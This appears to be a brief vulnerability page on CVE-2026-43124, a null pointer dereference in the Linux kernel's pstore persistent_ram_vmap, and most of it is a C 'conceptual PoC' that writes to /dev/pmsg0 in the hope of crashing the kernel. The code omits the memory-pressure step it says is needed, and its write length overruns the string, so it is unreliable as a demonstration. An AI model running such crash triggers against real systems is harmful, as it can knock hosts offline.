CVE-2026-43124 Linux内核pstore空指针解引用漏洞

/* * Conceptual PoC for CVE-2026-43124 * This demonstrates the logic flaw in persistent_ram_vmap. * Requires a vulnerable kernel build. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> int main() { int fd; // Attempt to interact with pstore (ramoops) // Note: This requires CONFIG_PSTORE_RAM enabled and proper setup. fd = open("/dev/pmsg0", O_RDWR); if (fd < 0) { perror("Failed to open pmsg0. Device might not exist."); return 1; } // In a real scenario, one would need to induce memory pressure // to cause vmap() to fail inside the kernel. // Then triggering a write might hit the incorrect return path. char *trigger_data = "Crash trigger data"; write(fd, trigger_data, 20); printf("Data written. If vmap failed and offset != 0, kernel may crash on access.\n"); close(fd); return 0; }